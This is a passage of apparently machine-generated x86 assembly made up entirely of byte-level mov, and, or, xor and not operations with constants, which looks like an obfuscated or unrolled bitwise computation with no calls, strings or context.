mov bh, dh
and dh, 0x45
not bh
and bh, 0x3a
or bh, dh
mov dh, bl
xor cl, bh
not dh
and dh, cl
not cl
and cl, bl
or cl, dh
mov dh, al
or al, ch
and ch, 0x7a
and dh, 0x7a
or dl, ch
not al
or ah, dh
xor dl, ah
or al, dl
mov edx, eax
and al, 0x83
not dl
and dl, 0x7c
or al, dl
mov edx, ecx
and cl, 0x3c
mov ah, al
not dl
and al, 0x3c
mov ch, dl
xor ah, 0x7c
or dl, ah
and ch, 0xc3
and ah, 0xc3
or cl, ch
or al, ah
not dl
xor al, cl
or dl, al
mov ecx, edx
mov ah, dl
and dl, 0x1b
not cl
and ah, 0x78
mov al, cl
and al, 0x87
or ah, al
mov al, ah
xor ah, 0x85
xor al, 0x28
and ah, 0xd5
and al, 0x2a
or al, ah
mov ah, al
mov ebx, eax
xor ah, 0x2a
xor bl, 0xd0
mov byte [esp], ah
and ah, 0xfa
or bl, ah
mov ah, cl
and cl, 5
and ah, 0xe4
mov dh, bl
and bl, 0x9e
or ah, dl
not dh
xor ah, 0x1e
or cl, ah
mov ah, dh
and dh, 0x8a
and ah, 0x61
mov dl, cl
or ah, bl
xor dl, 0x8a
xor ah, 0x61
mov bl, ah
mov bh, ah
xor ah, cl
and bh, cl
not cl
and bl, 0x75
or dh, bl
mov bl, cl
and dl, cl
or ah, bh
or bl, 0x8a
mov ecx, ebx
mov ch, bl
not cl
and ch, 0x18
and cl, 0x65
or cl, ch
mov ch, dl
and dl, 0xe7
not ch
or bl, ch
and ch, 0x18
or dl, ch
not bl
xor dl, cl
mov ecx, eax
xor al, 0x84
or bl, dl
mov dl, dh
and dh, 8
xor cl, 0xd5
not dl
and al, cl
and cl, 0x82
and dl, 0xf7
or dh, dl
mov dl, bl
and bl, 8
not dl
and dl, 0xf7
or bl, dl
mov dl, ah
and ah, 0x64
not dl
xor bl, dh
mov dh, byte [esp]
and dl, 0x9b
or ah, dl
mov dl, bl
xor ah, 0x64
and dl, ah
xor ah, bl
or ah, dl
mov dl, ah
mov ch, ah
and ah, 2
not dl
and ch, 0xf0
and dl, 0xd
or ah, dl
mov dl, dh
xor ah, 2
and dl, 0x51
or ah, ch
mov ch, dl
and ch, al
xor al, dl
or al, ch
mov ch, dh
and dh, 0xa
mov dl, al
and ch, 0x7d
and al, 0x14
not dl
or ch, cl
and dl, 0xeb
xor ch, 0x88
or al, dl
or dh, ch
mov dl, al
xor al, 0xb0
mov cl, dh
mov ch, al
xor dl, 0x4a
not cl
or al, dh
and ch, 0x35
and dl, 0xca
and cl, 0xca
not al
or dl, ch
mov ch, dh
and ch, 0x35
or cl, ch
xor cl, dl
or al, cl
mov ecx, eax
and al, 0x40
not cl
and cl, 0xbf
or al, cl
mov ecx, eax
and al, 0xbf
not cl
and cl, 0x40
or al, cl
mov ecx, eax
and al, 0xb9
not cl
mov edx, ecx
and dl, 0x46
or al, dl
mov dl, ah
xor al, 0xb9
not dl
or al, cl
mov ecx, eax
not cl
and cl, dl
or dl, al
and al, ah
not dl
or al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov edx, eax
mov ecx, eax
xor dl, 0xe5
not cl
and dl, al
mov ah, cl
or cl, al
or al, 0x1a
mov ch, dl
mov dh, al
and ah, 0x81
and dl, 0x93
not ch
and dh, 0x6c
or al, ch
and ch, 0x6c
or ah, dh
mov dh, byte [esp + 4]
or dl, ch
not al
xor dl, ah
mov ah, cl
or al, dl
not ah
mov dl, al
and al, 0xd3
and ah, 0x39
not dl
and dl, 0x2c
or al, dl
mov dl, al
xor al, 0x36
mov ch, al
xor dl, 0xc0
xor ch, cl
and cl, 0xc6
and dl, 0xc6
and ch, al
and al, 0x39
or ah, cl
or al, dl
mov cl, ch
and ch, 0x34
xor ah, al
not cl
mov al, ah
mov dl, cl
and ah, 0x34
not al
and dl, 0xcb
or cl, al
and al, 0xcb
or ch, dl
or ah, al
not cl
xor ah, ch
or cl, ah
mov dl, cl
mov eax, ecx
xor dl, 0x3a
and al, 3
and dl, cl
not cl
and cl, 0xfc
mov ah, dl
and dl, 0x72
or al, cl
not ah
mov ecx, eax
xor al, 0x38
or al, 0xc5
xor cl, 2
mov ch, al
or al, ah
and ah, 0x8d
and cl, 0x32
and ch, 0x8d
or dl, ah
not al
or cl, ch
xor dl, cl
or al, dl
mov ecx, eax
and al, 0x3a
not cl
and cl, 0xc5
or al, cl
mov dl, al
mov ecx, eax
xor dl, 0x27
and cl, 0x76
and dl, al
not al
and al, 0x89
or cl, al
mov eax, ecx
mov ah, cl
xor cl, 0x89
xor al, 0x76
xor ah, 0xae
and ah, al
or cl, al
mov ch, ah
mov al, cl
and ch, dl
xor dl, ah
not al
or dl, ch
and al, 0x33
mov ah, dl
and dl, 0x58
not ah
and ah, 0xa7
or dl, ah
mov ah, dl
and dl, 0x33
xor ah, 0x7f
mov ch, ah
or ah, cl
and cl, 0xcc
and ch, 0xcc
or al, cl
not ah
or dl, ch
mov ch, byte [esp + 8]
xor al, dl
or ah, al
mov al, ah
or ah, 4
not al
and ah, 7
mov cl, al
and al, 0x80
or cl, 0x83
or al, ah
mov ah, dh
mov dl, cl
and cl, 7
and ah, 0xf2
not dl
and dl, 0x78
or dl, cl
xor dl, al
mov al, dl
and dl, 0x83
not al
and al, 0x7c
or dl, al
mov al, dh
and dh, 0x13
mov byte [esp], dl
mov dl, ch
and al, ch
mov cl, al
and dl, 0xd
and al, 0xf2
or ah, dl
not cl
mov dl, ch
or dl, cl
and cl, 0xd
or al, cl
not dl
xor al, ah
or dl, al
mov eax, edx
and dl, 0x35
not al
and al, 0xca
or dl, al
mov eax, edx
xor dl, 0x48
xor al, 5
and dl, 0x78
and al, 0x87
or dl, al
mov eax, edx
xor al, 0x87
and al, dl
mov dl, ch
and dl, 0xec
mov ebx, eax
and al, 0x66
or dl, dh
not bl
mov ecx, edx
xor dl, 0x94
xor cl, 0x68
and cl, 0x78
or dl, cl
mov ecx, edx
and dl, 0xfd
not cl
and cl, 2
or dl, cl
mov ecx, edx
mov ch, dl
mov edx, ebx
or bl, 0x14
and dl, 0x99
xor cl, 0xfd
xor ch, 2
and bl, 0x1f
or al, dl
mov ah, cl
and ch, 0x17
and cl, 0xb
mov edx, eax
xor al, 0x99
and ah, 0xe8
mov dh, al
or ah, ch
xor dl, 6
or dh, 0xb
mov ch, ah
mov byte [esp + 4], dl
mov dl, ah
xor ah, 0x17
mov bh, dh
xor dl, 0xe8
xor ch, 0xe3
and dh, 0x1f
not bh
and ch, dl
and dl, 0x1e
and bh, 0xe0
or bh, dh
mov dh, ch
xor bl, bh
and dh, cl
xor cl, ch
mov ch, bl
or cl, dh
mov dh, byte [esp + 4]
not ch
and ch, cl
not cl
and cl, bl
or cl, ch
mov ch, al
or al, ah
and ah, 0xe1
and dh, 0x1e
and ch, 0xe1
or dl, ah
not al
or dh, ch
xor dl, dh
or al, dl
mov edx, eax
and al, 0x8a
not dl
and dl, 0x75
or al, dl
mov edx, ecx
xor al, 0x8a
and dl, al
xor al, cl
or al, dl
mov ecx, eax
or al, 0x78
not cl
and al, 0x7f
mov dh, cl
and cl, 0x80
or dh, 7
or cl, al
and dh, 0x7f
xor dh, cl
mov cl, dh
mov al, dh
mov ch, dh
or dh, 0x70
not cl
and al, 0x88
and ch, 0xf0
and dh, 0x7a
mov dl, cl
and cl, 0xf
and dl, 0x77
or ch, cl
or al, dl
mov cl, ch
and ch, 0x70
mov dl, al
xor cl, 0x80
xor al, 0x82
xor dl, 8
and cl, 0x85
and dl, 0xa
or cl, ch
or al, dl
xor dh, cl
mov dl, al
mov ecx, eax
xor al, 0xfd
mov ch, dh
not dl
and cl, 0x9e
not ch
and al, dl
and dl, 0x61
or dl, cl
mov cl, dl
mov ebx, edx
xor dl, 0x9e
xor cl, 0x61
xor bl, 0x9c
and bl, cl
mov byte [esp + 4], cl
mov cl, dh
mov bh, bl
and bl, 0xde
xor cl, 2
not bh
mov ah, bh
and ah, 0x21
or bl, ah
mov ah, al
and al, 0xde
not ah
or bh, ah
and ah, 0x21
or al, ah
mov ah, cl
not bh
and cl, dh
and ah, ch
xor al, bl
and ch, 5
mov bl, ah
or bh, al
and ah, 0x54
not bl
mov al, bl
and al, 0xab
or ah, al
mov al, cl
and cl, 0x54
not al
or bl, al
and al, 0xab
or cl, al
mov al, byte [esp]
not bl
xor cl, ah
or bl, cl
mov cl, bh
not cl
not al
and cl, bl
not bl
mov byte [esp + 0xc], al
movzx eax, byte [esp + 4]
and bl, bh
or bl, cl
mov cl, dl
or dl, dh
and dh, 0xfa
and cl, 0xfa
or ch, dh
not dl
and al, 5
or al, cl
mov cl, bl
and bl, 0x27
xor ch, al
not cl
or dl, ch
mov ch, cl
mov ah, dl
or cl, dl
and ch, 0xd8
and dl, 0xd8
not ah
or bl, ch
not cl
and ah, 0x27
or ah, dl
xor ah, bl
or cl, ah
mov ch, cl
mov eax, ecx
xor cl, 0xbe
not ch
and al, 0x40
mov dl, ch
and ch, 0x41
or cl, ch
and dl, 1
mov ch, cl
and cl, 0xfd
or al, dl
not ch
mov edx, eax
not al
and ch, 2
mov ah, al
xor dl, 0x40
and al, 0x8b
or cl, ch
and ah, dl
mov ch, cl
mov dh, cl
xor cl, 0x7c
mov bl, ah
and ah, 1
xor ch, 0xfd
and dh, 0x24
not bl
and cl, ch
and ch, 0xdb
or ch, dh
mov dh, dl
or dh, 0x7e
mov bh, dh
or dh, bl
and bl, 0x5e
not bh
or ah, bl
mov bl, ch
not dh
xor ch, 0x24
or bh, 0x5e
xor bl, 0xdb
xor bh, ah
mov ah, bl
and bl, 0x8b
and ah, 0x81
or dh, bh
mov bh, ah
and bh, cl
xor cl, ah
mov ah, dh
and dh, 0x12
not ah
or cl, bh
and ah, 0xed
or dh, ah
mov ah, cl
and cl, 0x12
not ah
and ah, 0xed
or cl, ah
mov ah, dl
or dl, ch
and ch, 0x74
and ah, 0x40
or bl, ch
not dl
xor cl, dh
mov dh, byte [esp + 0xc]
or al, ah
mov ch, cl
and cl, 0x9e
xor bl, al
not ch
or dl, bl
mov ah, ch
mov al, dl
and dl, 0x3c
and ah, 0x61
not al
or cl, ah
and al, 0xc3
or dl, al
mov eax, edx
xor dl, 0xc3
xor al, 0x1c
or ch, dl
and dl, 0x61
and al, 0x9e
not ch
or al, dl
xor al, cl
or ch, al
mov ah, ch
mov al, ch
xor ah, 0xbe
and al, 0x32
and ah, ch
not ch
and ch, 0x8c
or al, ch
xor al, 0x32
mov ecx, eax
and cl, ah
xor ah, al
or ah, cl
mov al, ah
mov dl, ah
and ah, 0x11
not al
and dl, 0xfc
mov ecx, eax
and al, 0xee
and cl, 3
or ah, al
or dl, cl
mov al, dl
and dl, 0x40
xor al, 0xfc
mov ecx, eax
and cl, 0xbf
or dl, cl
mov cl, ah
and ah, 0x40
xor cl, 0xae
and cl, 0xbf
or ah, cl
movzx ecx, byte [esp]
xor ah, dl
not ah
or ah, al
mov al, ah
mov ch, cl
mov bh, cl
not al
xor ch, 0x1f
mov byte [esp + 8], al
mov al, dh
and ch, cl
mov cl, dh
and al, 0x1f
mov dl, al
and dl, ch
xor ch, al
or ch, dl
mov al, ch
and ch, 0xd4
not al
and al, 0x2b
or ch, al
mov al, dh
mov dh, bh
and al, 0x45
and dh, 0xba
mov dl, ch
xor ch, 4
or dh, al
xor dl, 8
and ch, 0xc7
xor dh, 0x45
and dl, 0x38
or dh, cl
or dl, ch
mov ch, dh
and dh, 0xf4
mov ebx, edx
not dl
not ch
or dl, 0xfc
xor bl, 0x38
mov cl, ch
mov bh, dl
and ch, 0xfc
and dl, 0x72
and cl, 0xb
not bh
or cl, dh
and bh, 1
xor cl, 0xb
or bh, dl
mov al, cl
and al, 3
or ch, al
mov al, bl
and al, cl
xor cl, bl
or bl, 3
mov edx, ebx
and bl, 0x72
or cl, al
not dl
not cl
and dl, 0x8c
or dl, bl
xor dl, bh
mov dh, dl
and dl, 0x47
not dh
and dh, 0xb8
or dl, dh
mov dh, ch
and ch, 0x47
not dh
and dh, 0xb8
or ch, dh
mov dh, byte [esp + 8]
xor ch, dl
mov al, ch
and al, cl
xor cl, ch
mov ch, ah
mov dl, dh
xor ch, 0x76
or cl, al
mov bh, dh
or dl, 0x76
and ch, dh
mov byte [esp + 0x10], cl
mov dh, ch
mov al, dl
mov bl, dl
and ch, 5
not al
not dh
and bl, 0xfa
or dl, dh
and al, 1
and dh, 0xfa
or ch, dh
or al, bl
not dl
mov dh, ah
xor ch, al
and dh, 0x12
or dl, ch
mov al, dl
and dl, 0x89
not al
and al, 0x76
or dl, al
mov al, dl
and dl, 0x4a
not al
and al, 0xb5
or dl, al
mov al, dl
xor dl, 0x80
xor al, 8
and dl, 0x82
and al, 0x28
or al, dl
mov dl, bh
and dl, 0xed
mov ch, al
xor al, 0xd7
or dl, dh
xor ch, 0x28
mov dh, dl
xor dl, 0x47
xor dh, 0xa8
and dh, 0xaa
or dl, dh
mov dh, dl
not dh
and dh, al
mov al, ch
xor al, dl
and dl, ch
and al, ch
or dl, dh
mov ch, al
and ch, dl
xor dl, al
or dl, ch
mov al, dl
mov ebx, edx
xor al, 0x55
and bl, 5
and al, dl
not dl
and dl, 0x50
mov ch, al
and al, 0xc7
or bl, dl
not ch
mov edx, ebx
xor bl, 0xfa
mov dh, bl
xor dl, 5
or bl, ch
and ch, 0x38
and dh, 0x38
and dl, 0x45
or al, ch
not bl
or dl, dh
xor al, dl
mov edx, ecx
not dl
or bl, al
mov al, dl
mov dh, dl
mov dl, cl
mov byte [esp + 0x14], bl
or al, 0xe1
or dl, 0x12
mov ch, dh
mov byte [esp + 0x3c], dh
mov bh, al
and dl, 0xb2
and ch, 0x41
and al, 0xb2
not bh
or ch, dl
mov dl, dh
and bh, 0xc
or bh, al
xor bh, ch
mov ch, byte [esp + 0xc]
mov al, bh
and bh, cl
mov cl, byte [esp]
not al
and dl, al
or bh, dl
mov dl, ch
and ch, 0xc1
and dl, cl
and cl, 0x3e
not bh
or cl, ch
or bh, al
xor cl, 0x3e
mov byte [esp + 4], bh
mov al, cl
xor cl, dl
and al, dl
or cl, al
mov edx, ecx
mov al, cl
xor dl, 0xe1
not al
and dl, cl
and al, 0x1e
and cl, 0xe1
or cl, al
mov al, dl
and dl, 0xdc
not al
mov ch, al
and ch, 0x23
or dl, ch
mov ch, cl
and cl, 0xdc
not ch
or al, ch
and ch, 0x23
or cl, ch
not al
xor cl, dl
or al, cl
mov ecx, ebx
mov edx, eax
and al, 0x2b
not cl
not dl
mov byte [esp + 0xc], cl
and dl, 0xd4
or al, dl
mov edx, eax
and al, 0xd4
not dl
and dl, 0x2b
or al, dl
mov edx, ecx
mov ch, al
and al, 0xd4
and dl, 0x82
not ch
and ch, 0x2b
or ch, al
mov al, bl
or al, 0x60
and al, 0x75
or dl, al
mov al, cl
or al, 0x97
mov dh, al
and al, 0x75
not dh
and dh, 8
or dh, al
xor dh, dl
mov al, dh
and dh, 0x97
not al
and al, 0x68
or dh, al
mov al, dh
mov dl, dh
and dh, 0x1e
not al
and dl, 0xe1
and al, 0xe1
or dh, al
mov al, dl
and al, dh
xor dh, dl
or dh, al
mov al, dh
xor al, 0xfa
mov dl, al
and al, dh
and dl, 0xfa
mov dh, dl
and dh, al
xor al, dl
or al, dh
mov edx, eax
and al, 0xcc
not dl
and dl, 0x33
or al, dl
mov edx, eax
xor al, 0x89
xor dl, 0x32
and al, 0x8d
and dl, 0x72
or al, dl
mov dl, ah
and ah, 0xcb
mov cl, al
xor al, 0x88
xor dl, 0xba
xor cl, 2
and al, 0xf8
and cl, 7
or cl, al
mov byte [esp + 0x18], cl
mov cl, byte [esp + 8]
and dl, cl
mov al, cl
mov dh, dl
or al, 0xba
and dl, 0x8a
not dh
mov bh, al
or al, dh
and dh, 0x75
and bh, 0x75
or dl, dh
not al
mov dh, cl
xor dl, bh
and dh, 0x34
mov bh, ch
or al, dl
or dh, ah
xor bh, 0x2b
mov dl, al
and al, 0x76
mov cl, dh
xor dh, 0xc3
not dl
xor cl, 4
and dh, 0xf3
and dl, 0x89
and cl, 0xc
or al, dl
or cl, dh
mov dh, bh
mov dl, al
and al, 0xc
and dh, 6
xor dl, 0x2d
mov ah, dl
and ah, 0xf3
or al, ah
mov ah, byte [esp + 4]
xor cl, al
not cl
or cl, dl
mov bl, ah
mov byte [esp + 8], cl
mov cl, ah
mov dl, ah
not bl
and cl, 0x41
mov al, bl
and bl, 0x75
or al, 0x10
and al, 0xbc
or cl, al
mov al, ah
mov ah, ch
xor ch, 0x35
or al, 0xed
xor ah, 0xd4
and ch, bh
and bh, 0x2f
mov dl, al
and al, 0xbc
not dl
and dl, 2
or dl, al
xor dl, cl
mov cl, ah
and ah, 0xd0
mov al, dl
and cl, 0x18
and dl, 0x7a
or bh, ah
not al
or dh, cl
mov cl, dh
and al, 0x85
xor dh, 0xf9
xor cl, 6
or dl, al
mov al, dh
and al, 0x31
and cl, 0xe
or cl, al
mov al, ch
and ch, 0xce
not al
or dh, al
and al, 0x31
or ch, al
not dh
xor ch, cl
mov cl, dl
or dh, ch
mov ch, dl
xor cl, 0x68
mov al, dh
and dh, 0x1e
xor ch, 0x97
mov byte [esp], cl
and cl, 0x4f
not al
mov dl, ch
and al, 0xe1
or dh, al
mov al, dh
not al
xor dl, al
and dl, ch
mov byte [esp + 0x1c], dl
mov dl, al
and al, ch
mov byte [esp + 0x20], al
mov al, ch
and dl, 0x5b
and al, 0xb0
or al, cl
movzx ecx, byte [esp]
xor al, 0xd
mov ch, al
xor ch, cl
and cl, dh
and dh, 0xa4
and ch, al
movzx eax, byte [esp + 4]
or dh, dl
mov byte [esp], cl
mov ah, ch
and al, 0x8a
or bl, al
mov al, bl
xor bl, 0xc8
xor al, 0x35
and al, 0xbd
or bl, al
mov al, bl
and bl, 0x7e
not al
and al, 0x81
or bl, al
mov al, dh
xor dh, 0xb
xor al, 0xa4
and dh, 0xf
mov dl, al
and al, 0x42
and dl, 0xf0
or dl, dh
xor dl, 0x4d
or al, dl
mov edx, eax
and al, 0x75
not dl
and dl, 0x8a
or al, dl
mov dl, bh
xor bh, 0xc0
xor dl, 0x2f
and bh, 0xe0
mov dh, dl
and dl, 0xbd
and dh, 0x1f
or dh, bh
xor dh, 0x5d
or dl, dh
mov dh, bl
xor bl, 0x81
xor dh, 0x7e
and bl, 0xad
mov byte [esp + 0x28], dh
and dh, 0x52
or dh, bl
mov bl, ch
and ch, 0x12
not bl
and ah, bl
mov byte [esp + 4], bl
mov cl, ah
and ah, 0x12
not cl
mov bh, cl
or cl, bl
and bh, 0xed
not cl
or ah, bh
mov bh, dh
xor dh, 0xad
xor bh, 0x52
and byte [esp + 4], bh
and dh, bh
xor bh, bl
and bl, 0xed
or ch, bl
or bh, byte [esp + 4]
xor ch, ah
mov ah, dh
or cl, ch
mov ch, byte [esp + 0x28]
not bh
and ah, ch
xor dh, ch
or dh, ah
mov ah, cl
not ah
and ah, dh
not dh
and dh, cl
or dh, ah
mov cl, dh
and cl, bh
xor bh, dh
or bh, cl
mov ecx, eax
xor al, 0x8a
xor cl, 0x61
mov ah, al
and al, 0x16
and cl, 0xe9
or ah, dl
or cl, al
mov al, dl
and dl, 0x16
not al
and al, 0xe9
or al, dl
mov dl, ah
xor al, cl
mov cl, ah
and dl, 0xb1
not cl
and cl, 0x4e
or cl, dl
mov edx, eax
and al, 0x4e
not dl
or ah, dl
and dl, 0xb1
or al, dl
not ah
xor al, cl
mov cl, bh
xor cl, 0x60
or ah, al
and cl, bh
not bh
and bh, 0x60
mov al, bh
and al, cl
xor cl, bh
or cl, al
mov al, ah
xor al, 0x60
and al, ah
not ah
and ah, 0x60
mov dl, ah
and dl, al
xor al, ah
mov ah, byte [esp + 0x1c]
or al, dl
mov edx, ecx
and cl, 0xc0
not dl
and dl, 0x3f
or cl, dl
mov edx, eax
and al, 0xc0
not dl
and dl, 0x3f
or al, dl
movzx edx, byte [esp + 0x20]
xor al, cl
mov cl, ah
mov dh, al
xor dh, 0x31
or dl, byte [esp]
and cl, dl
xor dl, ah
or dl, cl
mov ecx, edx
and dl, 0x91
not cl
and cl, 0x6e
or cl, dl
mov ch, cl
not cl
xor ch, 0x6e
and cl, 0x80
and ch, 0x7f
or ch, cl
mov cl, al
mov dl, ch
xor ch, 0x80
not cl
xor dl, 0x7f
and ch, 0xee
and dh, cl
mov ah, dl
mov bl, dh
and dl, 0xce
and dh, 0xf1
and ah, 0x11
not bl
or ah, ch
mov bh, bl
mov ch, ah
and bh, 0xe
xor ah, 0xee
xor ch, 0x11
or dh, bh
mov byte [esp], ch
and ch, 0x31
or dl, ch
mov ch, cl
and cl, 0x66
or ch, 0x31
mov bh, ch
or bl, ch
and ch, 0xe
not bh
not bl
and bh, 0xc0
or bh, ch
xor bh, dh
mov dh, byte [esp + 0x18]
or bl, bh
mov bh, byte [esp + 8]
mov ch, bl
and bl, 0xbf
not ch
and ch, 0x40
or bl, ch
mov ch, dl
and dl, 0xbf
not ch
and ch, 0x40
or dl, ch
mov ch, al
or al, ah
and ah, 0x99
and ch, 0x99
xor dl, bl
not al
or cl, ch
mov ch, byte [esp]
and ch, 0x66
or ch, ah
xor ch, cl
mov cl, dl
and dl, 0xf9
not cl
or al, ch
mov ah, cl
or cl, al
and ah, 6
not cl
or dl, ah
mov ah, al
and al, 6
not ah
and ah, 0xf9
or ah, al
mov al, dh
xor dh, 0xf8
xor ah, dl
xor al, 7
mov ch, dh
mov bl, dh
mov dh, bh
mov dl, al
or cl, ah
mov ah, bh
and ch, 0x9b
and dh, 0x9b
and bl, 0x84
and dl, 0x64
not ah
or ch, dl
mov dl, ah
and dl, 0x64
or dh, dl
mov dl, al
or dl, ah
xor dh, ch
and ah, 4
not dl
or dl, dh
mov ch, dl
and dl, 0xeb
not ch
and ch, 0x14
or dl, ch
mov ch, al
and al, 0x73
and ch, 8
or ch, bl
mov bl, dl
xor ch, 8
xor bl, 0xeb
or al, ch
mov ch, bh
or bh, 0x8c
and ch, 0x88
mov dh, bh
and bh, 0xb6
or ah, ch
not dh
mov ch, ah
and dh, 0x41
and ah, 8
xor ch, 0xb2
or dh, bh
and ch, 0xb6
or ah, ch
xor dh, ah
mov ah, al
not ah
and ah, dh
not dh
and dh, al
or dh, ah
mov ch, dh
mov ah, dh
xor ch, 0xd8
and ah, 0xd1
and ch, dh
not dh
and dh, 0x2e
or ah, dh
mov dh, dl
xor dl, 0x33
mov al, ah
xor dh, 0x14
and dl, bl
xor ah, 0xf6
xor al, 0xd1
mov bl, dh
and ah, al
and bl, al
xor al, dh
and dh, 0xd8
mov bh, dh
or al, bl
and bh, dl
xor dl, dh
mov dh, ah
and ah, 0xea
not al
not dh
or dl, bh
mov bh, dh
and bh, 0x15
or ah, bh
mov bh, ch
and ch, 0xea
not bh
or dh, bh
and bh, 0x15
or ch, bh
not dh
xor ch, ah
mov ah, dl
and dl, 0xea
not ah
or dh, ch
mov ch, cl
and ah, 0x15
and ch, 0xc0
or dl, ah
mov ah, dh
and dh, 0xea
not ah
and ah, 0x15
or dh, ah
xor dh, dl
mov dl, dh
and dl, al
xor al, dh
or al, dl
mov edx, ecx
not dl
mov ah, dl
and ah, 0x3f
or ch, ah
mov dh, ch
and ch, 0x26
xor dh, 0x26
or dh, 0x99
mov ah, dh
and ah, 0x40
or ch, ah
mov ah, cl
xor ah, 0x66
and ah, cl
and cl, 0x20
mov bl, ah
and ah, 0xbf
not bl
or dh, bl
and bl, 0x40
or ah, bl
not dh
xor ah, ch
or dh, ah
mov ah, dh
and dh, 0x66
not ah
and ah, 0x99
or dh, ah
mov ah, dh
and dh, 0x3a
not ah
and ah, 0xc5
or ah, dh
mov ch, ah
xor ah, 0xc5
xor ch, 0x59
and ah, ch
mov ch, dl
and ch, 0xdf
mov bl, ah
or cl, ch
mov ch, al
not bl
xor cl, 0xbc
not ch
and bl, 0x1b
xor dl, cl
mov dh, ch
and dl, cl
mov cl, al
and dh, 0x40
xor cl, 0x36
and cl, al
and al, 0xbf
or al, dh
xor al, 0xdc
or al, ch
and ch, 0x36
mov dh, ch
and dh, cl
xor cl, ch
or cl, dh
mov ch, cl
and cl, 0x8f
not ch
and ch, 0x70
or cl, ch
mov ch, cl
xor cl, 0x46
xor ch, 0x21
mov dh, cl
and dh, 0x9c
and ch, 0x63
or ch, dh
mov dh, ah
xor cl, ch
and cl, ch
mov ch, dl
and dl, 0xe4
not ch
xor dh, ch
and ch, 0x1b
and dh, ah
and ah, 0xe4
or dl, ch
mov ch, al
or ah, bl
not ch
movzx ebx, byte [esp + 0x14]
xor dl, ah
mov ah, dh
and ah, dl
xor dl, dh
or dl, ah
mov ah, cl
not ah
and bl, 0xaf
and ch, ah
or ah, al
and al, cl
or al, ch
mov dh, ah
mov ch, ah
mov cl, al
not dh
and ch, 0x19
and al, 0xe6
not cl
and dh, 0xe6
or ah, cl
and cl, 0x19
or dh, ch
or al, cl
mov ecx, edx
not ah
and dl, 0x2c
xor al, dh
not cl
mov dh, byte [esp + 0xc]
or ah, al
mov al, cl
and al, 0xd3
or cl, ah
or dl, al
xor dl, ah
xor dl, 0xd3
and dl, ah
mov ah, cl
mov al, dl
not ah
and dl, 0x85
not al
and ah, 0x85
mov ch, al
or al, cl
and cl, 0x7a
and ch, 0x7a
or ah, cl
not al
or dl, ch
xor ah, dl
or al, ah
mov byte [esp], al
movzx eax, byte [esp + 0x3c]
mov ecx, eax
mov dl, al
and al, 0x84
mov ch, al
movzx eax, byte [esp + 0x10]
and cl, dh
xor dl, dh
or dl, cl
mov cl, dl
and dl, 4
not cl
mov ah, al
and al, 0x13
and ah, 0x68
or ah, ch
xor ah, 0x68
or al, ah
mov ah, dh
and ah, 0x50
or bl, ah
mov ah, bl
xor bl, 0xbc
xor ah, 0xaf
and bl, ah
mov ah, dh
or ah, 0xec
mov ch, ah
mov bh, ah
mov ah, bl
and bl, 0x72
not ah
not ch
mov dh, ah
or ah, bh
and bh, 0x8d
and ch, 0x12
and dh, 0x8d
or ch, bh
not ah
or bl, dh
xor ch, bl
mov ebx, ecx
or ah, ch
mov ch, al
not ch
and ch, ah
not ah
and ah, al
or ah, ch
mov ch, ah
and ah, 0xfb
not ch
xor bl, ch
and ch, 4
and bl, cl
and cl, 0xfb
or ah, ch
or cl, dl
mov dh, bl
and bl, 0x33
xor ah, cl
not dh
mov cl, ah
mov dl, dh
and ah, 0x33
not cl
and dl, 0xcc
or dh, cl
and cl, 0xcc
or bl, dl
or ah, cl
not dh
xor ah, bl
or dh, ah
mov ch, dh
mov dl, dh
not ch
and dl, 0x6a
mov cl, ch
and cl, 0x81
or dl, cl
mov cl, dh
xor cl, 0xeb
xor dl, 0x6a
and cl, dh
mov ah, dl
and dh, 0x22
and ah, cl
xor cl, dl
or cl, ah
mov ah, ch
and ah, 0xdd
mov dl, cl
and cl, 0xeb
or dh, ah
not dl
xor dh, 0x22
and dl, 0x14
xor ch, dh
or cl, dl
and ch, dh
mov eax, ecx
mov bh, cl
mov bl, ch
mov dl, ch
not al
and bh, 0x5c
xor bl, 0xa3
and dl, 0xf9
mov byte [esp + 4], al
and bl, ch
not ch
and ch, 6
or dl, ch
mov ch, al
mov dh, dl
mov ah, dl
and ch, 0xa3
xor dl, 6
xor dh, 0xf9
xor ah, 0xa5
or bh, ch
and ah, dh
and dh, 0x67
mov ch, ah
and ah, 0xf5
not ch
mov al, ch
and al, 0xa
or ah, al
mov al, bl
and bl, 0xf5
not al
or ch, al
and al, 0xa
or bl, al
mov al, bh
not ch
and bh, 0xe3
xor bl, ah
not al
mov ah, byte [esp + 4]
or ch, bl
and al, 0x1c
mov bl, byte [esp]
or bh, al
mov al, ch
and ch, 0xe3
not al
and al, 0x1c
and ah, 0x67
or ch, al
mov al, cl
or cl, dl
and dl, 0x98
and al, 0x98
or dh, dl
not cl
xor ch, bh
or ah, al
mov al, ch
xor dh, ah
or cl, dh
not cl
and al, cl
xor cl, ch
or cl, al
mov eax, ecx
mov ah, cl
mov ch, cl
and cl, 0xcd
not al
and ah, 0x61
and ch, 0x92
mov edx, eax
and al, 0x32
and dl, 0xc
or cl, al
or ah, dl
mov al, cl
and cl, 0x80
xor ah, 0x61
xor al, 0x4d
or ch, ah
and al, 0x7f
mov dl, ch
and ch, 0x92
or al, cl
not dl
and dl, 0x6d
or ch, dl
mov dl, ch
and ch, 0x7f
not dl
mov ah, dl
and ah, 0x80
or ch, ah
xor al, ch
mov ch, bl
and bl, 0x7a
xor dl, al
not ch
and dl, al
mov dh, dl
mov ah, dl
mov bh, dl
and dl, 0xfe
not dh
and ah, 0x74
and bh, 0x20
mov al, dh
and dh, 0xdf
and al, 0x8b
or bh, dh
or ah, al
mov al, ch
mov dh, bh
xor bh, 0xde
mov cl, ah
xor ah, 0x81
and al, 0x85
xor dh, 0x20
xor cl, 0x70
and ah, 0x85
or bl, al
mov al, ch
and bh, dh
and cl, 0x7a
or al, 0xd6
or cl, ah
and al, 0xd7
xor cl, bl
not cl
or cl, ch
or ch, 1
mov bl, ch
and ch, 0xd6
mov ah, cl
not bl
not ah
and bl, 0x28
or bl, ch
mov ch, bh
and ch, dl
xor dl, bh
xor al, bl
or dl, ch
mov ch, al
and al, 0x63
not ch
and ch, 0x9c
or al, ch
mov ch, dl
and dl, 0x63
not ch
and ch, 0x9c
or dl, ch
xor dl, al
mov al, dl
and dl, cl
not al
or cl, al
and al, ah
not cl
or al, dl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ebx, eax
mov ah, al
mov byte [esp + 4], al
not bl
or ah, 0x50
mov ch, bl
and ah, 0x75
mov byte [esp], bl
or bl, al
or ch, 0x25
mov edx, ebx
mov dh, bl
mov cl, ch
and ch, 0x75
xor dh, 0x88
not dl
